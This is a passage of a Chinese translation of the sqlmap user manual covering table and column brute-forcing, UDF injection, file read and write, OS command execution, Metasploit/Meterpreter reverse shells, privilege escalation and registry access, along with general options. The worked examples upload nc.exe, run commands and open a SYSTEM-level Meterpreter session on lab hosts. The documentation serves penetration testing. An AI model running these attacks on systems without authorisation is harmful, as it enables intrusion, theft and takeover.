如果出现前面两个场景中的任意一个,并且你开启了 --tables 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-tables,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表。

常见的数据表名列表存储在 txt/common-tables.txt,支持用户进行任意修改。

针对 MySQL 4.1 目标的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

开关:--common-columns

对于任意数据表,可能存在开启了开关 --columns 之后仍不能够获取数据库表的列名的情况。这样的场景通常会在如下情况下发生:

  • DBMS 是 < 5.0 版本的 MySQL,它们不具备 information_schema
  • DBMS 是微软的 Access 数据库,相对应的列名信息在数据库系统表中不存在。
  • 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

如果出现前面两个场景中的任意一个,并且你开启了 --columns 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-columns,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表列名。

常见的数据表名列表存储在 txt/common-columns.txt,支持用户进行任意修改。

用户自定义函数注入

译自:User-defined function injection

以下选项用于创建用户自定义函数。

注入用户自定义函数(UDF)

开关和选项:--udf-inject--shared-lib

你可以通过编译 MySQL 或 PostgreSQL 共享库(在 Windows 上为 DLL,在 Linux/Unix 上为共享对象(shared object))来注入自己的用户自定义函数(UDFs),然后将本地存储共享库的目录路径提供给 sqlmap。sqlmap 会根据你的选择决定下一步是向数据库服务器文件系统上传共享库到还是创建用户自定义函数。当你完成注入 UDFs 的使用后,sqlmap 还可以将它们从数据库中删除。

这些技术在白皮书通过高级 SQL 注入完全控制操作系统中有详细介绍。

使用选项 --udf-inject 并按照说明进行操作即可。

如果需要,也可以使用 --shared-lib 选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。

此功能仅在 DBMS(Database Management System,数据库管理系统)为 MySQL 或 PostgreSQL 时有用。

访问文件系统

译自:File system access

读取数据库服务器文件系统文件

选项:--file-read

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 Microsoft SQL Server 2005 为目标,获取二进制文件的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

向数据库服务器的文件系统上传文件

选项:--file-write--file-dest

当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 MySQL 为目标,向服务器提交一个经过 UPX 压缩的二进制文件的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

接管操作系统

译自:Operating system takeover

运行任意操作系统命令

选项和开关:--os-cmd--os-shell

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前会话用户拥有对数据库特定功能和相关架构特性的利用权限时,sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令

在 MySQL 和 PostgreSQL 中,sqlmap 可以上传(通过前面描述的文件上传功能)一个包含两个用户自定义函数——分别为 sys_exec()sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。

当用户请求标准输出,sqlmap 将使用任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap 则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。

这些技术的相关详情可见白皮书通过高级 SQL 注入,对操作系统进行完全控制

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

sqlmap 还支持模拟 shell 输入,你可以输入任意命令以执行。对应的选项是 --os-shell,并且和 --sql-shell 一样,具备 TAB 补全和记录历史命令的功能。

如果堆叠查询没有被 Web 应用(例如:PHP 或 ASP 且后端 DBMS 为 MySQL)识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同一台服务器上,则仍可以通过利用 SELECT 语句中的 INTO OUTFILE,在 Web 服务器根目录中的可写目录中创建 Web 后门,从而执行命令。sqlmap 支持上述功能并允许用户提供一个逗号分隔、用于指定根目录子目录的列表,从而尝试上传 Web 文件传输器和后续的 Web 后门。sqlmap 有以下几种语言的 Web 文件传输器和后门:

  • ASP
  • ASP.NET
  • JSP
  • PHP

有状态带外连接:Meterpreter & friends

开关和选项:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,并且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外 TCP 连接。根据用户的选择,该连接可以是交互式命令行、Meterpreter 会话、或者图形用户界面(VNC)会话。

sqlmap 依赖 Metasploit 创建 shellcode,并实现了四种不同的技术在数据库服务器上执行它。这些技术分别是:

  • 通过 sqlmap 的用户自定义函数 sys_bineval() 在数据库内存中执行 Metasploit shellcode。MySQL 和 PostgreSQL 支持该技术,通过开关 --os-pwn 启用。
  • 通过 sqlmap 的用户自定义函数 sys_exec() 向 MySQL 和 PostgreSQL 上传一个 Metasploit 独立 payload 传输器并执行,对于 Microsoft SQL Server 则是使用 xp_cmdshell() 函数,通过开关 --os-pwn 启用。
  • 通过进行从数据库服务器到攻击者机器(由 Metasploit smb_relay 服务监听)之间的 UNC 路径请求的 SMB 反射攻击MS08-068)来执行 Metasploit shellcode。当 sqlmap 运行于具有高权限(uid=0)的 Linux/Unix 上,且目标 DBMS 以 Windows 管理员身份运行时支持该技术,通过开关 --os-smbrelay 启用。
  • 通过利用 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存储过程堆缓冲区溢出MS09-004)在数据库内存中执行 Metasploit shellcode。sqlmap 使用自己的 exploit,自动绕过 DEP 内存保护来触发漏洞,但它依赖 Metasploit 生成 shellcode,以便在成功利用时执行,通过开关 --os-bof 启用。

相关的技术详情可见于白皮书通过高级 SQL 注入完全控制操作系统和幻灯片将控制由数据库层面拓展到操作系统

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,MySQL 在 Windows 上以 SYSTEM 身份运行,然而 PostgreSQL 在 Windows 和 Linux 上均以低权限用户 postgres 运行。Microsoft SQL Server 2000 默认以 SYSTEM 身份运行,而 Microsoft SQL 2005 和 2008 大部分情况下以 NETWORK SERVICE 身份运行,有时候以 LOCAL SERVICE 身份运行。

使用 sqlmap 的 --priv-esc 开关,可以通过 Metasploit getsystem 命令进行数据库进程用户提权,该命令使用了包括 kitrap0d 在内的各种技术(MS10-015)。

访问 Windows 注册表

译自:Windows registry access

当后端 DBMS(Database Management System,数据库管理系统)是 MySQL,PostgreSQL 或 Microsoft SQL Server 并且 Web 应用程序支持堆叠查询时,sqlmap 可以访问 Windows 注册表。此外,会话用户必须具备相应的访问权限。

读取 Windows 注册表键值

开关:--reg-read

使用此开关可以读取注册表键值。

写入 Windows 注册表键值

开关:--reg-add

使用此开关可以写入注册表键值。

删除 Windows 注册表项

开关:--reg-del

使用此开关可以删除注册表项。

注册表辅助选项

选项:--reg-key--reg-value--reg-data--reg-type

这些选项用于提供正确运行 --reg-read--reg-add--reg-del 等开关所需的数据。因此,你可以在命令提示符下使用它们作为程序参数,而不是在执行过程中提供注册表项信息。

使用 --reg-key 选项指定 Windows 注册表项路径,--reg-value 提供注册表项的名称,--reg-data 提供注册表键值数据,而 --reg-type 选项指定注册表键值的类型。

添加注册表项配置单元的示例命令行如下:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

常规选项

译自:General

下面的选项用于设置 sqlmap 的常规参数。

从已存储(.sqlite)文件读取会话

选项:-s

sqlmap 会在专用的输出目录中自动为每一个目标分别建立持久会话 SQLite 文件,该文件会存储用于恢复会话的所有数据。如果用户需要指定会话文件的具体存储位置(例如:将所有目标的会话数据存储在同一个位置),则可以使用这个选项。

记录 HTTP(s) 访问信息到文本文件

选项:-t

这个选项需要一个指定文本文件地址的参数,用于写入 sqlmap 产生的所有 HTTP(s) 流量信息——包括 HTTP(S) 请求 和 HTTP(S) 响应。

这个选项主要用于调试——当你向开发人员提供潜在 bug 报告时,可把这个文件一并带上。

为问题预设答案

选项:--answers

如果用户想要自动回答问题,即使使用了 --batch 选项,也可以通过在等号后提供一部分的问题和对应的回答来做到这一点。另外,不同问题的答案可以用分隔符 , 分割。

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

声明(表明)参数中包含了 Base64 编码的数据

选项:--base64

在目标 Web 应用使用 Base64 编码来存储特定参数数据时(例如:用 Base64 来编码 JSON 字典),用户可以使用选项 --base64 声明,使 sqlmap 能正确地使用参数值进行测试。

使用例子:(注意:Base64('{"id": 1}') == 'eyJpZCI6IDF9'):

$ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZC\
I6IDF9 -v 5 --base64=value
[...]
[23:43:35] [INFO] testing 'Boolean-based blind - Parameter replace (original valu
e)'
[23:43:35] [PAYLOAD] KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAx
fScgRUxTRSAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp
[23:43:35] [TRAFFIC OUT] HTTP request [#11]:
GET /?value=KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAxfScgRUxTR
SAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp HTTP/1.1
Host: localhost
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.4.3#dev (http://sqlmap.org)
Connection: close
[...]

以非交互式模式运行

开关:--batch

当你需要以批处理模式运行 sqlmap,避免任何用户干预 sqlmap 的运行,可以强制使用 --batch 这个开关。这样,当 sqlmap 需要用户输入信息时,都将会以默认参数运行。

二进制内容检索

选项:--binary-fields

为了便于检索存储二进制数值(例如:数据列 password 存储了密码哈希值二进制数据)的数据表字段的内容,可使用 --binary-fields 选项对该数据列进行(额外)适当处理。所有的这些数据域(例如:数据表的列)都将被取出并以十六进制格式展示,便于后续被其他工具(例如:john)处理。

自定义 SQL(盲)注入字符集

选项:--charset

在布尔型盲注(Boolean-based blind)和时间型盲注(Time-based blind)中,用户可以强制使用自定义字符集来加快数据检索过程。例如,在导出消息摘要值(例如:SHA1)时,通过使用(例如)--charset="0123456789abcdef",预期的请求数比常规运行大约少 30%。

从目标 URL 开始爬取站点

选项:--crawl

sqlmap 可以从给定的目标站点开始收集(抓取)存在潜在漏洞的链接。使用这个选项可以设置爬取的深度(到起始位置的距离),这样 sqlmap 爬取到对应深度就不会继续进行。

针对 MySQL 目标的运行示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

选项:--crawl-exclude

使用这个选项可以通过正则表达式来排除不想抓取的页面。例如,如果你想要跳过所有包含 logout 关键字的链接,你可以使用 --crawl-exclude=logout

指定 CSV 输出的分隔符

选项:--csv-del

当导出数据到 CSV 格式文件(--dump-format=CSV),数据条目需要使用“分隔符”(默认为 ,)进行划分。如果用户想要覆盖默认分隔符,可以使用这个选项(例如:--csv-del=";")。

DBMS(Database Management System,数据库管理系统)认证凭证

选项:--dbms-cred

某些情况下,用户可能会因为当前 DBMS 用户的权限问题而导致操作失败,这时就可以使用这个选项。在这种情景下,如果用户使用这个选项来 admin 用户凭证,sqlmap 会尝试使用相应的认证信息与“以其他身份运行”机制(例如:Microsoft SQL Server 的 OPENROWSET)来重新运行。

导出数据的格式

选项:--dump-format

当导出数据表数据到输出目录的相应文件时,sqlmap 支持三种不同的数据导出格式:CSVHTMLSQLITE。默认的输出格式是 CSV,每一条数据以 ,(或者使用 --csv-del 指定其他符号)为分隔符逐行存储到文本文件中。如果是使用 HTML 格式,则输出会被存储为 HTML 文件,每行数据会被存储为表格的一行到 HTML 文件中。如果是使用 SQLITE,数据则会被存储到 SQLITE 数据库,原先的数据表会被转换成具有相同名字的 SQLITE 数据表。

强制指定检索数据编码

选项:--encoding

为了对字符数据进行合理的编码,sqlmap 使用从 Web 服务器提供的信息(例如:HTTP 请求头 Content-Type),或是使用第三方库 chardet 进行推导。

尽管如此,有时候还是需要对编码进行指定,特别是当获取的数据包含国际化的非 ASCII 字符时(例如:encoding=GBK)。同时,需要注意的是,如果目标机器数据库存储的数据内容与数据库连接器编码不兼容,则会不可逆转地出现编码信息丢失的情况。

预估完成时间

开关:--eta

sqlmap 支持实时计算并显示获取查询结果的预估时间。如果使用的技术是任意一种 SQL 盲注,则会显示获取输出的时间。

针对 Oracle 目标进行布尔型盲注的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

接着

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

从上面可以看出,sqlmap 会先计算出查询结果的长度,然后预估完成的时间,并显示出完成的百分比及接收到的字符数。

清空会话文件

选项:--flush-session

经过上面的相关描述,相信你已经熟悉了会话文件的相关概念,值得注意的是,你可以通过选项 --flush-session 来清空会话文件内容。这样你可以避免 sqlmap 默认的缓存机制。也可以手动移除相关的会话文件。

解析并测试表单输入域

开关:--forms

例如你需要针对_搜索框_进行 SQL 注入测试,或者你想绕过登录验证(通常是 usernamepassword 两个输入框),你可以通过给 sqlmap 传入请求文件(-r),并设置好(--data)相关的提交数据,或者直接让 sqlmap 自动为你完成相关操作。

上面提及的两个实例,及其他 HTML 响应体中出现的 <form><input> 标签,都可以使用这个开关。

配合存在表单的目标 URL(-u)使用 sqlmap 的 --forms 开关,sqlmap 会自动为你请求对应目标 URL,解析相关的表单,并引导你基于表单输入域(参数)而非提供的目标 URL 进行 SQL 注入测试。

忽略会话文件中的查询结果

开关:--fresh-queries

经过上面的描述,相信你已经熟悉了会话文件的概念,值得注意的是,你可以使用 --fresh-queries 这个开关忽略会话文件中的查询结果。这样你就可以保持某次运行的特定会话文件内容不被修改, 从而避免重复尝试及恢复查询结果。

使用 DBMS hex 函数获取数据

开关:--hex

很多情况下,获取非 ASCII 数据都会有特殊要求。其中一个解决方案就是使用 DBMS hex 函数。开启这个开关,数据在被获取之前,会被编码成十六进制格式,并在随后被解码成原先的格式。

针对 PostgreSQL 目标的例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

指定输出目录路径

选项:--output-dir

默认情况下,sqlmap 会将会话和结果文件存储在命名为 output 的子目录中。如果你想要使用不同的存储位置,可以用这个选项(例如:--output-dir=/tmp)。

从响应页面中解析 DBMS 错误信息

开关:--parse-errors

如果 Web 应用配置了调试模式,后端 DBMS 的错误信息会在 HTTP 响应请求中显示,sqlmap 会对其进行解析并展示。

这个特性对调试非常有用,例如可以用来理解为什么特定枚举或接管开关会失效——可能是会话用户出现权限问题,在这种情况下,你可以看到 Access denied for user <SESSION USER>(拒绝用户<会话用户>访问)的 DBMS 错误信息。

针对 Microsoft SQL Server 目标的例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

前处理(请求)

选项:--preprocess

使用此选项,可在(HTTP)请求数据被发送之前先由给定的前处理脚本处理(如微调请求内容)。例如,追加 query 参数到 POST 请求体的前处理脚本如下:

#!/usr/bin/env python

def preprocess(req):
    if req.data:
        req.data += b'&foo=bar'

后处理(响应)

响应:--postprocess

使用此选项,可在 sqlmap 检测引擎之前先由后处理脚本处理(HTTP)响应数据(如解码数据或删除无用数据)。例如,将所有小写字符转换为大写的后处理脚本如下:

#!/usr/bin/env python

def postprocess(page, headers=None, code=None):
    return page.upper() if page else page, headers, code

保存相关选项到 INI 配置文件

选项:--save

使用此开关可以将命令行上的相关选项保存到 INI 配置文件中。同时可以通过以上描述的 -c 选项对生成的文件进行编辑。

更新 sqlmap

开关:--update

使用此开关,你可以直接从 Git 仓库 将该工具升级到最新的开发版本。当然,网络连接必不可少。

当然,如果上面的操作失败,你可以直接在 sqlmap 所在目录运行 git pull。这样的执行效果和使用开关 --update 一样。如果你是在 Windows 上使用 sqlmap,可以使用 SmartGit 客户端。

在向邮件列表反馈任何潜在 bug 之前,强烈建议先尝试上面描述的方法。

杂项

译自:Miscellaneous

使用短助记符

选项:-z

输入所有想要使用的选项和开关是很乏味的事情,特别是对于那些常用的选项和开关(例如:--batch --random-agent --ignore-proxy --technique=BEU)。有一个更简短的方法来处理这个问题。在 sqlmap 中,它被称为“助记符”。

使用选项 -z,每个选项和开关可以用较短的助记符形式,并用逗号(,)分隔,其中助记符代表原始名称的第一个任意选择的部分。选项和开关没有严格映射到他们各自精简后的部分。唯一需要满足的条件是没有其他选项和开关使用了与之相同的前缀。

例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

可以用短助记符形式(多种方法之一)写成:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

另一个例子:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

可以用短助记符形式写成:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

警告成功的 SQL 注入检测

选项:--alert

发现 SQL 注入时发出“哔”声

开关:--beep

如果用户使用了开关 --beep,那么在发现 SQL 注入时,sqlmap 会立即发出“哔”的警告声。当测试的目标 URLs 是大批量列表(选项 -m)时特别有用。

清除 DBMS(Database Management System,数据库管理系统)中特定的 sqlmap UDF(s) 和表

开关:--cleanup

建议在完成底层操作系统或文件系统的接管后,清理后端 DBMS 中的 sqlmap 临时表(如 sqlmapoutput)和用户定义函数。使用 --cleanup 开关将尽可能地清理 DBMS 和文件系统。

检查依赖关系

开关:--dependencies

在某些特殊情况下,sqlmap 需要独立安装额外的第三方库(例如:选项 -d,开关 --os-pwn 之于 icmpsh 隧道,选项 --auth-type 之于 NTLM 类型的 HTTP 认证等。),只在这种特殊情况下会警告用户。不过,如果你想独立检查所有这些额外的第三方库依赖关系,可以使用开关 --dependencies

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
